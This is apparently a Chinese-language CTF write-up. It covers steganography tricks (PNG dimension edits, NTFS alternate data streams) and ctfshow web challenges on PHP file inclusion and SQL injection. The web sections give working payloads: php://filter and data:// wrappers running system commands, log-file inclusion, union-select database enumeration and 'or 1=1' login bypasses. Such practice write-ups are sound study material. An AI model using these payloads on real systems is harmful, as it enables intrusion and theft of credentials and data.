MISC
(stega2)
提示是一张flag.png文件,想想修改宽高,原00 00 01 A0改为00 00 03 A0
stega3
打开还是一张图片,winhex看一下也是不怎么有想法,
看看其他的师傅,NTFS隐写
360压缩可以无视NTFS隐写,下载360压缩
这个是第一次看到......
NTFS数据流
NTFS交换数据流(alternate data streams,简称ADS)是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流,就是说除了主文件流之外还可以有许多非主文件流寄宿在主文件流中。它使用资源派生来维持与文件相关的信息。
也就是主文件里面还有其他文件,有点像文件包含
打开flag.txt
BJDCTFMISC签到
解压不了吗,winhex打开,png文件,改成后缀就可以了,改成png。
web78
文件包含的主要特征就是出现include,我们想用伪协议来读取文件,php://filter
?file=php://filter/read=convert.base64-encode/resource=flag.php
读取到的内容base64解码
web79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
出现新的函数str_replace(),查了之后就是替换字符的意思
也就是它会把file中的php替换成???,中间的为最后的字符,所以这里就不能用file://php文件来读取了,我们用data来读取,换句话说也就是我们这里的php被过滤了。
?file=data://text/plain,<?pHp system('cat flag.php');?>
?file=data://text/plain,<?= system('cat flag.php');?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
第一个是运用大小写进行绕过的,第二个是用短标签进行绕过的,第三个是用base64编码进行绕过的。
查看源代码就可以看到了。
web80
题目这一次做了更多的限制,php和data协议都不可以用了
但是这一次还是正常的文件包含,
cc一下,以下是两种日志文件的路径
/var/log/nginx/access.log
/var/log/apache2/access.log
环境是nginx的,有一个nginx访问日志/var/log/nginx/access.log
即
?file=/var/log/nginx/access.log
访问之后有ip、时间、参数值、user-agent ,抓包 发现文件
查看文件
web171(万能密码)
sql注入,先要找到闭合方式
1和1"都是一样的,但是1'不一样,就可以判断是单引号闭合方式
知道字段数是3
后面的语句就都差不多了
看看回显,2显示
1' union select 1,2,3%23
查库了
1' union select 1,database(),3%23
爆出数据库
1'union select 1,group_concat(schema_name),3 from information_schema.schemata%23
查表
-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
查字段
-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user'%23
查内容
-1'union select 1,group_concat(username,password),3 from ctfshow_user%23
还有一种做法,就是万能密码
where username !='flag' and id = '' or 1=1 %23
条件恒成立,select语句返回所有结果
前面的select语句就会显示结果了
-1' or 1%23
' or 1=1 %23
-1' or 1=1 %23
web172(内容被过滤,base64编码)
先看第一张表
但是没有内容,应该是最后的内容被过滤了
编码绕过,还是第一次见
-1' union select 1,to_base64(password) from ctfshow_user2 where username="flag"%23
字段
1' order by 4%23 异常
1' order by 3%23 正常数据库
1' union select 1,database(),3%23
1'union select 1,group_concat(schema_name),3 from information_schema.schemata%23表名
-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23 #有两张表,第二张是这关的字段
-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_user'%23数据
-1'union select 1,group_concat(username,password),3 from ctfshow_user2%23base64编码
-1' union select 1,to_base64(password) from ctfshow_user2 where username="flag"%23
这一题与前面那题差不多,就是最后内容被过滤了,需要进行一下绕过。
web173(内容被过滤,hex编码)
与上面的差不多就是换了一个函数,也是内容被过滤了
hex编码绕过
-1' union select 1,hex(password),3 from ctfshow_user3 where username="flag"%23
解码的时候也就要hex解码